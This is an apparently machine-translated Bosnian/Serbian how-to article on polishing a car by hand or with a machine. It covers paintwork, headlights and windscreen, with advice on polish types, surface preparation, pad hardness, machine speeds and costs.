Tajne pravilnog poliranja automobila vlastitim rukama. Poliranje automobila ručno bez mašine

Uradi sam poliranje automobila tokom perioda finansijske poteškoće je optimalan izbor vrsta poliranja. Danas su troškovi izvođenja ovih radova značajan dio prosjeka plate većina auto-entuzijasta.

Potreba za poliranjem

Paintwork karoserija automobila Vremenom gubi svoju atraktivnost. Na njegovu površinu postupno utječu mnogi različiti negativni faktori, uključujući temperaturne promjene, kišu, grad i šljunak, što dovodi do oštećenja. Kao rezultat toga nastaju strugotine, ogrebotine i pukotine koje nisu vidljive golim okom. Čestice prašine se nakupljaju u pukotinama u premazu karoserije, koje smanjuju fabrički sjaj automobila poput ogledala. Lak se može izgrebati do metala i na tom mjestu će u budućnosti doći do korozije.

Često su oštećenja toliko ozbiljna da poliranje karoserije automobila više ne pomaže, te je potrebno djelomično ili čak potpuno prefarbati. Nanošenje auto emajla je težak i dugotrajan postupak. Uz promatranje svih tehnoloških suptilnosti, potpuna garancija za kvalitetno farbanje nije uvijek osigurana.

Mogući nedostaci nakon farbanja

1. Šupljine i krateri gornjeg sloja.
2. Nakon sušenja boja se ne poklapa.
3. Efekat šagrena ili narandžine kore.
4. Na nekim područjima se pojavljuju mutne mrlje.
5. Površina laka je zrnasta.
6. Pojava kapi boje.

Ovakvi nedostaci se rijetko mogu izbjeći. U više od polovine slučajeva potrebno je brušenje sa dodatnim poliranjem. Stručnjaci savjetuju da se novonaneseni automobilski emajl potpuno osuši oko mjesec dana prije brušenja i poliranja. Farbanje i završno poliranje je radno intenzivan posao koji od stručnjaka zahtijeva posebne vještine. Ako uzmemo u obzir abrazivno poliranje tijela vlastitim rukama, onda ovaj posao više nije tako težak i nije preskup.

Ako možete da izbegnete duboke ogrebotine i strugotine koje zahtijevaju prefarbavanje, zatim mikropukotine i starenje metala se i dalje osjećaju. Ove najmanjih nedostataka nastaju neprimjetno i postepeno se akumuliraju.

Opcija ekonomičnog oporavka ogledalo sjaj auto emajl je da ga sami polirate. Višestruke ogrebotine koje nisu dosegle temeljni sloj, mat mrlje na emajlu, hrapavost i abrazije mogu se ukloniti bez kontaktiranja profesionalnih bodibildera. Prilikom abrazivnog poliranja uklanja se gornji sloj emajla debljine 5 mikrona, što je dovoljno za postizanje željenog rezultata.

U fabrici za proizvodnju automobila, premaz karoserije je obično između 100 i 150 mikrona. Stoga možete sigurno polirati tijelo oko 20 puta. Da biste bili sigurni u konačni rezultat, a ne istrljali emajl do temeljnog premaza, potrebno je pronaći podatke o debljini sloja boje za marku vašeg automobila ili ga izmjeriti posebnim uređajem.

Nakon što ste se uvjerili da je sloj emajla dovoljno debeo i odlučili sami polirati tijelo, prvo morate odabrati visokokvalitetne materijale: pastu za mljevenje, potrošni materijal, alat.

Lakovi

Prilikom odabira lakova potrebno je uzeti u obzir veličinu pukotina. Duboke pukotine zahtijevaju upotrebu visokoabrazivnih jedinjenja. Za duboke ogrebotine, optimalan učinak će biti od lakova koji mogu obogatiti boju premaza. Ako je vaš automobil nedavno kupljen, a na njegovom tijelu postoje samo male mutne mrlje, onda je dovoljno kupiti pastu za restauraciju bez abrazivnih čestica. Za svaku vrstu paste koristi se poseban točak za mlevenje.

Prije odlaska u trgovinu po pastu, morate procijeniti stanje premaza automobila: ako na njemu postoje male ogrebotine, vidljive na opranom automobilu pri jakom svjetlu, tada morate kupiti dvije vrste laka za restauraciju - abrazivni i sa malom količinom abraziva.

Abrazivni lakovi jednostavno izglađuju premaz, uklanjajući tanki vanjski sloj. Nakon toga, premaz tijela postaje ranjiviji, te je preporučljivo na njega nanijeti zaštitnu pastu. Također, ne smijemo zaboraviti da se za prekrivanje tijela metalom ili sedefom koriste posebni specijalizirani proizvodi. Pored sastavnih komponenti, lakovi se razlikuju po svojoj konzistenciji, obimu upotrebe i cijeni.

Paste za poliranje

Njihova konzistencija je gusta, dobro prijanja na vertikalne površine, a koristi se za tretiranje tijela sa svih strana. Cijena paste za poliranje je veća od ostalih proizvoda, ali takve paste sadrže komponente koje povećavaju zasićenost boje.

Tečni lakovi

Takve tekućine se brzo odvode na okomitoj površini, pa se češće koriste na horizontalnim dijelovima karoserije: prtljažniku, haubi i krovu. Prednost tečnih lakova je što omogućavaju dugotrajno poliranje bez straha od dubinskog utrljavanja laka u prajmer.

Aerosoli

Ovi lakovi se brzo nanose na tijelo i jednostavni su za korištenje. Nedostatak je nizak sadržaj komponenti za poliranje, jer se većina njih sastoji od otapala.

Priprema površine za poliranje

Za kvalitetno restaurativno poliranje potrebno je temeljito pripremiti površinu karoserije i samog automobila:

1. Tijelo se mora dobro oprati i osušiti.
2. Mrlje od bitumena i antikorozivne kapi se moraju ukloniti. Za ovo možete koristiti specijalnim sredstvima ili white spirit.
3. Prilikom poliranja na otvorenom, bolje je izabrati mesto u hladu, na suvom mestu i sa temperaturom od 10 do 25 stepeni. Ako imate zasebnu kutiju ili garažu, bolje je odbiti poliranje ulica. Prostorija mora imati ventilaciju, jer poliranje stvara mnogo prašine.
4. Čipovi, duboke ogrebotine, guma i plastične površine moraju biti prekrivene trakom.
5. Obezbedite jako osvetljenje. Najbolja opcija bi bile lampe sa četiri strane i peta na plafonu. U tom slučaju, svjetlo će ravnomjerno obasjati tijelo.

Rezultat pripreme trebao bi biti apsolutno cist auto. Ceo proces je bolje izvesti u zatvorenoj prostoriji bez mogućnosti prodiranja prašine, uz ventilaciju, izbjegavajući direktnu sunčevu svjetlost, jer će se materijali za poliranje brzo sušiti, što će otežati poliranje.

Tehnologija samopoliranja

Postoji nekoliko vrsta poliranja karoserije automobila:

• Abrazivna.
• Zaštitni.
• Jednostavno.
• Duboko.

Pogledajmo detaljnije svaku vrstu poliranja.

Abrazivno poliranje

Ova vrsta poliranja se može obaviti ručno ili električnim alatom. Prilikom ručnog poliranja, pasta za brušenje se stavlja na krpu koja ne ostavlja dlačice i ravnomjerno se raspoređuje po površini tijela. U slučaju aerosolnog lakiranja, nema potrebe da ga nanosite na salvetu, odmah se raspršuje na površinu. Zatim se ostavi neko vrijeme da se osuši i zgusne kompozicija, lak se prekriva bjelkastim premazom. Onda kružnim pokretima Površina je polirana čistom krpom do zrcalnog sjaja. Najbolji učinak postiže se ako se pridržavate preporuka proizvođača laka u pogledu vremena sušenja i potrošnje. Ova metoda se koristi kod neabrazivnih brusnih lakova.

Ako postoje duboke ogrebotine, morate koristiti električni alat. Dobra opcija bila bi upotreba ekscentrične brusilice, zbog originalnog pomicanja radnog dijela. Ova brusilica se zove orbitalna brusilica. Ako nemate takav alat, možete koristiti običnu električnu bušilicu s nastavkom za mljevenje.

Faze rada:

1. Brušenje pastom koja sadrži abrazivne komponente za poliranje velikih ogrebotina.
2. Poliranje "mekom" smjesom dok se ne dobije zrcalni finiš.

Ako detaljnije razmotrimo ove faze, tada se prilikom poliranja mekom smjesom brzina rotacije radnog elementa stroja mora smanjiti na 1000 okretaja i koristiti pastu bez abraziva. Oblik kretanja radnog elementa električnog alata mora biti takav da se sljedeći krug kretanja ne preklapa s prethodnim, već se odvija paralelno. Kretanje električnog alata treba da bude glatko, bez jakog pritiska na točak za poliranje. Prvo polirajte smjesom sa srednjim sadržajem abraziva na tvrđim kotačima. U tom slučaju, polira se nanosi na pjenastu gumu za tretiranje dubokih ogrebotina. Brzina rotacije brusilice je podešena na 2000 o/min, pjena na točku se navlaži vodom, a alat se ravnomjerno kreće po dijelu, obavljajući poliranje.

Prije rada treba obaviti test obuke na drugom dijelu, tako da prilikom poliranja automobila dobijete odličan rezultat. Dok treniram različite mešavine i krugove, možete birati najbolja brzina poliranje, sila pritiskanja alata na površinu.

Nakon treninga možete započeti obradu karoserije automobila. Dok radite, ne biste trebali žuriti da pokrijete veliku površinu. Bolje je polirati sporije, ali kvalitetnije. Prvo, nakon nekoliko prolaza, obrišite tretiranu površinu ubrusom i izvršite vizualni pregled. Možda će biti potrebna određena podešavanja i uklanjanje preostalih ogrebotina.

Nakon prve faze potrebno je oprati tijelo kako biste uklonili abrazivne čestice laka. Ako se poliranje restauracije provodi prema pravilima, tada će automobil izgledati potpuno nov, upravo je napustio tvorničku montažnu traku. Rezultirajući učinak mora se osigurati nanošenjem zaštitnog laka.

Zaštitno poliranje

Smjese koje štite auto emajl od negativnih utjecaja okoline ne sadrže abrazivne komponente i obogaćene su komponentama silikona ili voska. Nedavno su se pojavile nove zaštitna jedinjenja koji sadrže polimerne supstance. Završni lakovi su osjetljivi na negativne faktore: ultraljubičaste zrake, visoku vlažnost, kemikalije, temperaturne promjene, te stoga imaju različite periode djelovanja. Kako biste izbjegli često restaurativno brušenje, preporučljivo je nanijeti zaštitni lak na tijelo. Kompozicije koje uključuju silikon ili vosak su jeftine, ali ne mogu izdržati više od tri pranja automobila.

Polimerni zaštitni lakovi su skuplji, ali traju oko šest mjeseci. Zaštitna obloga nanosi se brusicom pri brzini rotacije od oko 3000 o/min koristeći najmekši točak. U tom slučaju lak ne bi trebao doći na hromirane dijelove, inače ga je potrebno brzo ukloniti, jer nakon što se lak osuši, hromirana površina će izblijedjeti, a hromirani sjaj je vrlo teško vratiti.

Bolje je unaprijed zalijepiti sjajne hromirane dijelove trakom. Nakon nanošenja zaštitnog laka, možete provesti test: prelijte automobil vodom. Ako se posao obavi efikasno, voda će se skupljati u velikim kapima i teći dolje. Formiranje velikih kapljica ukazuje da je površina savršeno glatka i da se na njoj neće skupljati prašina.

Lako poliranje

Ovaj tretman se izvodi kada površina nema nedostataka i potpuno je glatka. Uradi sam poliranje Počinje nanošenjem laka na površinu. Prvo se nanese na salvetu i razmaže po tijelu. Zatim se sastav treba osušiti dok ne pobijeli, a zatim može početi poliranje. Za postizanje visokokvalitetnog sjaja dovoljno je oko 20 pojedinačnih pokreta. Kružni pokreti daju najbolji efekat. Prije rada pročitajte upute proizvođača smjese za poliranje. Ponovljeno poliranje se preporučuje nakon 1-1,5 mjeseci.

Zaštitno poliranje može biti u pretprodaji i svakako zaštitno da zaista zaštiti tijelo od vanjskog okruženja. Izvodi se za cijelu površinu kako bi zaštitio premaz od negativnih utjecaja. To se radi pažljivije, koristeći smjese sa silikonom ili voskom, koji dodaju sjaj premazu.

Meki tip poliranja se koristi za stare automobile koji nemaju oštećenja na laku. Ovaj tretman je nježna metoda zaštite.

Prilikom vožnje autoputem, farove oštećuju sitni kamenčići i zrnca pijeska koji lete ispod točkova automobila. Izloženi su raznim agresivnim supstancama: soli, lož ulja, izduvnih gasova itd. To negativno utiče na stanje rasvjetnih uređaja: pojavljuju se ogrebotine, strugotine, pukotine. S vremenom, svjetlost iz farova postaje nedovoljno, na njima se pojavljuje žuti premaz, a izgled automobila postaje neprivlačan. Da biste riješili ovaj problem, trebate brusiti i polirati farove.

Metode poliranja farova automobila:

1. Najjednostavniji ali najskuplji način je poliranje farova od strane stručnjaka. Autopraonice i autoservis često nude poliranje farova. Ova metoda je pogodna za one koji mogu platiti usluge profesionalaca.
2. Uradi sam poliranje neće vam previše smetati. Stoga, razmotrimo ovu metodu detaljnije.

Poliranje farova uradi sam

Alati i materijali:

• Slikarska traka.
• Krug od filca.
• Čistač farova.
• Kontejner sa vodom.
• Set abraziva za brušenje i poliranje.
• Sander.
• Pasta ili lak za zube.
• Penasti sunđer ili krpe.

Ako mašina za brušenje nije dostupna, poliranje se vrši ručno. Ovo će zahtijevati više vremena i truda. Ostalu dodatnu opremu možete kupiti u prodavnici automobila. Set abraziva treba da sadrži abrazive različite granulacije od 600 do 4000.

Priprema za rad

• Operite far deterdžentom i pjenastim sunđerom ili krpom.
• Bolje je demontirati dijelove koji se brzo otpuštaju: rešetku hladnjaka, pokazivač smjera.
• Ako se far brzo skine iz automobila, to će uvelike pojednostaviti poliranje. Ali možete potpuno polirati far direktno na automobilu.
  Gde važna tačka je zaštita karoserije u blizini farova: branik, blatobran, hauba, plastični dijelovi itd. Za zaštitu možete koristiti ljepljivu traku.

Operativni postupak

1. U prvoj fazi koristi se veliki abrazivni točak od 600, koji se fiksira na brusilicu i navlaži vodom. Prednja lampa se takođe navlaži vodom bolje hlađenje prilikom mljevenja. Prva faza traje oko tri minuta. Zatim se far ispire vodom, nakon čega far postaje mat.
2. Zatim morate uzeti još jedan finiji abraziv 1000 i mljeti ne više od tri minute, navlažiti vodom.
3. Sa svakom vrstom abraziva ponavljamo brušenje do najfinije 4000. Nakon ispiranja vodom, far bi trebao postati providan.
4. Obrišite far krpom i potpuno ga ispolirajte. Da bismo to učinili, nanosimo lak, nanosimo ga na krug od filca i poliramo ručno oko tri minute. Ako nemate lak, možete koristiti pastu za zube.
5. Na isti način poliramo i drugi far.
6. Uklonjene dijelove karoserije ugrađujemo na njihova mjesta.

Cijelo poliranje će trajati ne više od 40 minuta ako koristite mašinu za brušenje. Ručno poliranje će trajati duplo duže.

Poliranje vjetrobransko staklo auto se može uraditi samostalno. Da biste to učinili, morate potrošiti malo vremena i truda.

Materijali i alati

• Sprej.
• Zaštitni film.
• Tečnost za čišćenje.
• Marker u boji.
• Slikarska traka.
• Salvete.
• Prašak za poliranje.
• Točak za poliranje.
• Sander.

Priprema za rad

• Autopraonica.
• Čišćenje radnog mesta.
• Čišćenje instrumenta.
• Oštećenje na staklu označite markerom sa unutrašnje strane.
• Koristite plastičnu foliju da zaštitite automobil od lakiranja.
• Izrežite prozore za obradu u filmu, pričvrstite izrezane rubove trakom.
• Operite radne površine tečnošću za čišćenje.
• Razrijedite abrazivni prah u vodi prema uputama.
• Sipajte vodu u bocu sa raspršivačem.
• Postavite filcani točak u mašinu za brušenje.

Poliranje stakla

1. Prvo morate nanijeti pastu na krug i na dio stakla, trljajući je po površini.
2. Uključite brusilicu i lagano je pomjerite po površini. Ne preporučuje se dugo zadržavanje na jednom mjestu kako bi se izbjeglo stvaranje žljebova na staklu. Brusilicu morate držati tako da krug bude postavljen na staklenu površinu pod uglom od oko 5 stepeni, nemojte primenjivati ​​veliku silu, radite pažljivo i glatko. Prilikom obrade stakla potrebno ga je stalno prskati vodom kako se ne bi isušilo.
3. Nakon obrade jednog područja, možete nastaviti s drugim koristeći isti princip.
4. Ako je auto star, onda Vjetrobran Možete sve u potpunosti ispolirati.
5. Nakon završetka rada, potrebno je ukloniti zaštitni film i oprati staklo.

Poliranje stakla traje nekoliko sati, tako da morate biti strpljivi. Visokokvalitetno polirano staklo je gotovo jednako dobro kao novo staklo i odgovara 90% svim parametrima novog stakla. Ozbiljni defekti poliranje se ne može ukloniti na staklu.

Oprema

Postoje univerzalni alati za poliranje automobila. Stoga su korisni za poliranje gume i plastični dijelovi, sa nekim posebnostima u radu.

• Mašina za brušenje brzine 1000-3000 o/min.
• Točkovi za poliranje različite tvrdoće (pjenasta guma, filc). Što je pasta grublja, točak se čvršće nanosi.

Točkovi za poliranje podijeljeni su po boji na različite tvrdoće:

1. Bijeli krugovi su najtvrđi, koriste se za tvrde paste za poliranje.
2. Narandžasti krugovi - koriste se za sve vrste pasta.
3. Crni krugovi su najmekši, koriste se za meku pastu prilikom završnog poliranja.

Materijali

Potrošni materijali su aplikatori, pjenasta guma, flanel tkanina, kao i paste za brušenje i poliranje, brusni papir.

Samopoliranje se izvodi pomoću pasta, aerosola i tekućih lakova. Za dubinsku obradu koriste se paste različite abrazivnosti.

Kao što znamo, farba automobila je svakodnevno izložena jakim spoljnim uticajima. Ovo i stalne promjene temperaturama i finom cestovnom prašinom, koja pri brzini kao da jede boju, stvarajući tako mikropukotine.

Zahvaljujući laku, na laku se pojavljuje tanak zaštitni sloj koji sprječava blijeđenje boje i pojavu raznih deformacija na njoj. Ako redovno polirate, očuvaćete originalni kvalitet. ovaj tip automobil koji mu je poklonio proizvođač, ne pribjegavajući farbanju u servisu.

Vrste lakova

Prije nego što odgovorimo na pitanje kako polirati automobil vlastitim rukama, pogledajmo vrste zaštitne opreme. Podijeljeni su u dvije vrste. Zaštitno poliranje može biti na bazi teflona ili voska. Razlika između njih leži u trajanju zaštitne funkcije. Na primjer, teflonski lakovi ne mogu izgubiti svojstva do 7-8 pranja. Istovremeno, analozi voska se ispiru drugi ili treći put.

Koliko dugo traje ovaj postupak?

Kao što pokazuje praksa, ručno poliranje karoserije jednostavnog putničkog automobila traje od 30 do 50 minuta. Prisustvo specijalnih mašina sa priključcima može ubrzati ovaj proces za 2-3 puta.

Regularnost izvršenja

Koliko često to treba raditi slični radovi? Stručnjaci preporučuju poliranje karoserije automobila najmanje jednom u 3-4 mjeseca. Ako vrlo rijetko koristite vozilo(npr. samo vikendom 1-2 puta sedmično), posao je dovoljno obaviti jednom u šest mjeseci. Da li je moguće češće polirati automobil? Naravno da možete, neće oštetiti auto. Ali svaki put prije upotrebe, stroj se mora temeljito oprati kako bi se uklonio preostali vosak ili teflonska supstanca. Nikada ne trljajte lak na prljavi automobil. Na taj način samo štetite laku automobila - u njega utisnete sitne čestice prašine i naslage vlastitim rukama.

Koliko košta u auto servisima?

Servisna stanica će za takve usluge naplatiti oko 1.000 rubalja. Ako uzmete u obzir da cijena jedne tube TEMRO laka košta do 100 rubalja, postaje jasno da je ovaj postupak sami mnogo jeftinije. Štaviše, jedna boca obično je dovoljna za 2 puta.

Abrazivno poliranje

Mnoge radionice oglašavaju takvu uslugu kao što je abrazivno poliranje. Naziva se i restorativnim. Ova vrsta rada koristi se u slučajevima kada automobil treba ukloniti mikropukotine, ogrebotine i drugo manji nedostaci premaz boje. Za razliku od jednostavnog zaštitnog poliranja, ova vrsta poliranja zahtijeva više vremena i posebne alate.

Ovaj rad se sastoji od nekoliko faza: priprema laka (ovo je uklanjanje gornjeg sloja premaza) i izravnavanje abrazije.

Vrijedi uzeti u obzir da uz ogrebotine ovaj lak uklanja i dio samog laka. Stoga se preporučuje korištenje ne više od 10 ciklusa abrazivne restauracije po automobilu. Ako je broj veći, umjesto boje i laka, lak će ukloniti prajmer.

Kako polirati automobil mašinom za poliranje kod kuće?

Začudo, poliranje je sasvim moguće obaviti kod kuće. Da biste to učinili, dovoljno je imati električnu bušilicu ili malu brusilicu i poseban dodatak. Potonji se naziva jastučić za poliranje. U prodavnicama možete kupiti i gotove mašine za ovakve radove, ali rezultat rada će biti isti bilo sa ugaonom brusilicom ili sa takvim uređajem.

Suština profesionalno poliranje je kako slijedi: prilikom trenja blok zagrijava lak, dok čestice polira svojim česticama ispunjavaju sve male nepravilnosti i pukotine na karoseriji.

Pripremni radovi

Bez obzira da li prilikom rada koristite specijalne alate ili običnu krpu, proces pripreme mašine je isti. Uključuje nekoliko faza:

1. Kompletno pranje automobila. To svakako radimo prije poliranja automobila. Nakon farbanja, dio laka treba da se osuši na suncu.

2. Uklanjanje razne spotove od insekata, ukorijenjene smole i prljavštine na laku u blizini lukova kotača. Ovdje možete koristiti razne kemikalije, kao što su white spirit, neosteril ili benzin.

3. Odmašćivanje površine. Vjerovatno je na malim dijelovima tijela nakon nanošenja deterdženti ostali tragovi. Takva mjesta obično imaju oblačan izgled na suncu. Kako bi se lak zadržao što duže na karoseriji, cijeli perimetar laka treba tretirati white spiritom ili drugim kemikalijama (ali ne abrazivima). Inače, Hi-Gear proizvod za dubinsko čišćenje možete kupiti u auto prodavnicama. Namijenjen je za odmašćivanje takvih površina. Veoma je jednostavan za upotrebu. Prvo dobro protresite bočicu, a zatim nanesite supstancu na mekani komad krpe i ravnomjerno utrljajte po cijelom dijelu tijela.

Kao rezultat toga, vidjet ćete automobil osjetno svježijeg izgleda.

Poliranje

Dakle, kako polirati automobil nakon pripreme laka? Počnimo sa samim bocama. Lakovi mogu biti u tubama (gusta masa) ili u plastičnim teglicama (mješavina mase sa tekućinom). U potonjem slučaju, dobro protresite bocu prije upotrebe.

Onda idemo na posao. Lakiranje treba nanositi na karoseriju uzastopno, u dijelovima od 50x50 centimetara, počevši od prednjeg branika i haube, završavajući prtljažnikom i krovom. Inače, krov se može podijeliti na 4 dijela i polirati u nekoliko faza.

Odredite sami kako nanijeti masu na površinu tijela. To se može učiniti s malim kružnim vrpcama ili u obliku tačaka. Ako je vaš lak u metalnoj tubi, ni u kom slučaju ne dirajte njime površinu laka - ostavlja sive otiske koje je vrlo teško ukloniti.

Nanesite smjesu ravnomjerno na tijelo, sačekajte vrijeme (obično 1 minut) da se malo osuši. Nakon toga uzmite u ruke mekanu krpu i trljajte masu dok se ne pretvori u prozirni, sjajni film. Kako polirati auto mašinom? Može se reći da je proces sličan. Samo ovdje umjesto krpe koristite bušilicu sa nastavkom. Kada koristite takav alat, važno je zapamtiti da se lak treba trljati ravnomjerno. Ne biste trebali stavljati svu svoju težinu na karoseriju, jer možete oštetiti samu boju. Ako želite znati kako pravilno polirati automobil mašinom, zapamtite da alat mora raditi po cijelom perimetru gdje se ova masa nanosi. Pomičite ga lijevo-desno, gore-dolje ili radite kružnim pokretima.

Tokom rada ne dozvoliti da se lak osuši. Zapamtite da se osušena masa neće pretvoriti u tanak film - jednostavno će se raspršiti u komadima u drugom smjeru.

Period skupljanja laka je 24 sata. U ovom trenutku možete putovati automobilom, ali je najbolje da se suzdržite od njih jedan dan zaštitni film konačno ojačao premaz boje tijelo

Kako polirati auto nakon farbanja?

Vrijedi napomenuti da se ova vrsta rada ponešto razlikuje od uobičajene primjene zaštitne mase. Činjenica je da poliranje nakon farbanja uključuje čitav niz radova upotrebom specijalna oprema i auto kozmetika. Radi se 3-4 sedmice nakon farbanja. To je neophodno kako bi se lak taložio i ne stvarao udubljenja tokom poliranja. Takođe, takav rad uključuje i otklanjanje raznih ogrebotina i nepravilnosti koje bi mogle nastati usled visoke vlažnosti ili negativnih uticaja. okruženje. Usput, prije poliranja automobila, morate ga na mjestima protrljati finim brusnim papirom. Tehnologija za ovaj posao je vrlo složena, tako da se ne može obaviti bez ruku profesionalaca.

Zaključak

Dakle, saznali smo kako polirati automobil ručno i pomoću mašine.

Kao što vidite, proces nije mnogo komplikovan i nije dug. Stoga ima smisla samostalno naučiti vještine korištenja laka, a ušteđenih 3-4 tisuće potrošiti na par novih guma, pločica ili drugih rezervnih dijelova.

Problemi kako polirati automobil počinju mučiti vlasnike automobila već u drugoj ili trećoj godini nakon kupovine automobila. Čak i izdržljivi emajli premium stranih automobila postaju dosadni i blijede tokom ovog perioda. Manje postojana boja jeftini automobili ne samo da gubi svoj sjaj. Bez zaštitnog poliranja, lak počinje da se ljušti i puca.

Razlozi potrebe za poliranjem i restauracijom laka

Glavni razlozi neophodno poliranje, prirodno starenje automobilskog emajla i prljavštine ostaju domaći putevi. Sav otpad na putu koji se podigne od vozila u prolazu i nailazećim vozilima ostavlja tragove na karoseriji vašeg automobila. Mikroogrebotine je teško uočiti golim okom, ali njihovo nakupljanje utječe na refleksivnost laka. Na farbi su uočljiviji tragovi tvrdog peska, šljunka, letećeg kamenja i grana pored puta koje upadaju u telo.

Ogrebotine i zagasita boja auto farba donosi hemikalije za puteve, zimsko posipanje autoputeva solju, peskom i hemijskim reagensima. Razni bišofiti i modificirani kalcij imaju destruktivan učinak na boju karoserije. Kisela kiša, grad i prljavi snijeg ostavljaju tragove na emajlu automobila.

Začudo, automehaničari smatraju odlaske na automatsko pranje četke važnim uzrokom ogrebotina i ogrebotina. Od redovnog pranja rotirajućim četkama, boja za tijelo (posebno mekani emajli) gubi sjaj i postaje bez sjaja. A ako vlasnik autopraonice uštedi pravovremena zamjena istrošene četke, tvrdi krajevi čekinja ostavljaju duboke ogrebotine na boji. Prljavština sa puta se upakuje u mikroogrebotine i sitne strugotine, proširujući i produbljujući oštećenja.

Osim gubitka sjaja i svjetline tvorničke boje, sva oštećenja laka su opasna sa ozbiljnijim posljedicama. Ogrebotine, koje se preklapaju jedna s drugom, potpuno prosijeku sloj boje i mogu postati izvori rđe, što će zahtijevati skupe popravke karoserije i ponovno farbanje automobila kako bi se eliminisali.

Svaki vozač želi da vrati savršeni sjaj karoseriji i staklu, ali usluge brendiranih tehničkih centara i studija detalja puteva nisu dostupne prosečnom vlasniku automobila svaka dva do tri meseca. Sa ograničenim finansijskim sredstvima, mnogi ruski auto-entuzijasti nemaju drugog izbora nego da sami poliraju automobil.

Kako polirati auto kod kuće

Naravno, kućne uslove treba shvatiti kao suhu, dobro osvetljenu garažu. Nemoguće je polirati automobil na ulici ili u dvorištu čak i tokom toplih ljeta. Prašina koju donosi vjetar i opalo lišće odmah će pokvariti rezultate vašeg rada. Važno je i neravnomjerno sušenje na suncu mnogih vrsta pasta i lakova, što utiče na kvalitet rada. opšti oblik automobili.

Pripremne operacije

Garaža se mora očistiti prije rada, uklanjajući što je moguće više prašine. Iskusni automehaničari ne preporučuju poliranje automobila kada temperature ispod nule i na vrućini (preko 35 - 40 stepeni). Prije nego što počnete s poliranjem, potrebno je izvršiti niz preliminarnih radnji:

• pranje tijela (ručno ili beskontaktno);
• uklanjanje mrlja i tvrdokornih zagađivača (ulje, bitumen);
• lijepljenje ukrasni detalji(hrom, nikl, guma, plastika);
• pregled čistog tijela (izbor abraziva i granularnost smjese za poliranje ovisi o stupnju oštećenja).

Ukoliko nemate prostora ili uslova za samostalno pranje automobila u blizini garaže, neposredno prije poliranja možete posjetiti autopraonicu, po mogućnosti beskontaktnu. Kada uđete u garažu, morate ponovo obrisati automobil čistom, suvom krpom.

Nakon pranja jasno su vidljive mrlje od bitumena i ulja koje se ručno uklanjaju blagim otapalima, odmašćivačima i white spiritom. Nema potrebe da koristite odvijače ili noževe. Kada se mrlja natopi, lako se može ukloniti noktom ili plastičnom karticom.

Kako ne bi oštetili dekorativne elemente (staklene lajsne, lajsne, ogledala), oni su prekriveni ljepljivom trakom. Profesionalni polirači se uklanjaju i niklovaju kvake na vratima, ali se početnicima ne preporučuje da to rade tokom svojih prvih eksperimenata.

Iskusni uradi sam i poliraju stakla na automobilu istovremeno sa poliranjem karoserije automobila. Tehnološki se operacije malo razlikuju (samo u sastavu pasta i zaštitnih sredstava), ali s iskustvom ćete moći sami polirati staklo. Kada prvi put pokušavate polirati, bolje je zapečatiti svo staklo.

Restorativno abrazivno poliranje karoserije

Prije nego što vlastitim rukama polirate automobil, morate se pobrinuti za alat i potrošni materijal. Postoje dva načina za abrazivno uklanjanje oštećenja sloja boje - ručni i mehanički (pomoću brusilice). Za početnike samostalan rad Stručnjaci savjetuju da se prvo okušate u ručnom abrazivnom poliranju, koje zahtijeva manje materijalne troškove.

Za ručno brušenje farbanja trebat će vam:

• abrazivni brusni papir (R-2000, R-2500);
• vodeni sprej;
• posebne salvete ili pamučne krpe;
• paste i lakovi za poliranje.

Abrazivne operacije brušenja tijela

Prije upotrebe brusni papir se isječe na sitne komade, a ivice im se tako zaokruže oštri uglovi nije ostavio duboke ogrebotine. Ručno mljevenje počinje s malim dijelom tijela, a zatim se kreće od njega u različitim smjerovima. Prije brušenja, površina se navlaži vodom iz raspršivača.

Pomoću natopljenog brusnog papira boja se brusi u dva okomita smjera, čime se postiže ujednačena mat boja boje. Postupak se ponavlja nekoliko puta, brisanjem vode vlažnom i suhom krpom. Nakon brusnog papira R-2000, drugo brušenje se može izvršiti brusnim papirom R-2500. Nakon toga na brušeno područje nanesite pastu za poliranje pomoću sitnozrnate spužve ili plastične kartice i snažno je trljajte kružnim pokretima posebnim tamponima ili salvetama.

Poliranje nakon brušenja će biti mnogo brže ako koristite brusilicu. Umjesto stroja, možete koristiti električnu bušilicu s posebnim dodatkom (prikladne su samo bušilice s podesivom brzinom).

Za mehaničko poliranje morat ćete u početni set dodati sljedeće alate:

• brusilica (sa podesivom brzinom od 700 do 3000);
• zaštitne naočale;
• diskovi za brušenje i poliranje;
• trnovi za pričvršćivanje diskova različitih debljina;
• Kotači za poliranje od filca ili krzna;
• čvrsta četka za čišćenje krugova.

Tokom procesa mehaničkog poliranja, mašina se pomera kružnim pokretima. Počnite raditi na malim brzinama, trudeći se da utrljate pastu za poliranje. Nakon toga, brzina se povećava, smanjujući silu stezanja. Počnite raditi s grubljim pastama i tvrdim kotačima. Na osnovu rezultata poliranja, sukcesivno se zamjenjuju mekšim kotačima i sitnozrnatim pastama.

Rad sa brusilicom zahtijeva uvježbane vještine, tako da prije nego što počnete polirati karoseriju automobila, možete vježbati na uklonjenom dijelu karoserije. Ako odaberete pogrešnu veličinu zrna paste, brzinu rotacije diska i silu pritiska, auto emajl se može istrošiti do metala ili izgorjeti (pojavljuju se dugine mrlje diskoloracije, boja bubri). Posebno kritična mjesta su pregibi karoserije, oblikovani utisci na haubi, blatobranima i vratima, koje je potrebno posebno pažljivo polirati.

Izbor paste ili gela. Kako polirati auto.

Osim tehnologije poliranja, pitanje kako polirati automobil nije ništa manje važno. Razumijevanje osnova proizvodni procesi, potrebno je odabrati paste za poliranje, zaštitne i regenerativne lakove. Paste za poliranje se obično dijele na prah i gel. Prva vrsta paste se bira za tvrde premaze sa brojnim oštećenjima i njima polira emajl radi smanjenja zrnatosti.

Gel paste djeluju nježnije i koriste se za poliranje mekih boja. budžetski strani automobili sa relativno malim oštećenjem. Gel (pasta) i aerosol (tečnost) paste u cilindrima se koriste za različite delove tela. Gel pasta se nanosi na točak za poliranje, pogodna je za obradu. bočne površine(vrata, blatobrani) automobila. Krov, hauba i prtljažnik automobila prskaju se aerosolnom pastom, a zatim se trljaju mekim točkom za poliranje.

Kada koristite abrazivne paste za poliranje, morate imati na umu da broj poliranja nije beskonačan. Svakim lakiranjem uklanjate sloj boje, poliranjem vašeg automobila jednom sedmično, istrošit ćete boju za godinu dana.

Na isti način se nakon toga izvodi abrazivno poliranje mašine popravke karoserije i popravke automobila. U ovom slučaju, njegov cilj je izravnati sloj boje, eliminirati kapanje boje i „šagren“. Nakon farbanja, bolje je koristiti paste za gel poliranje.

Detaljnije kako pravilno polirati automobil možete vidjeti u videu:

Zaštitno poliranje laka

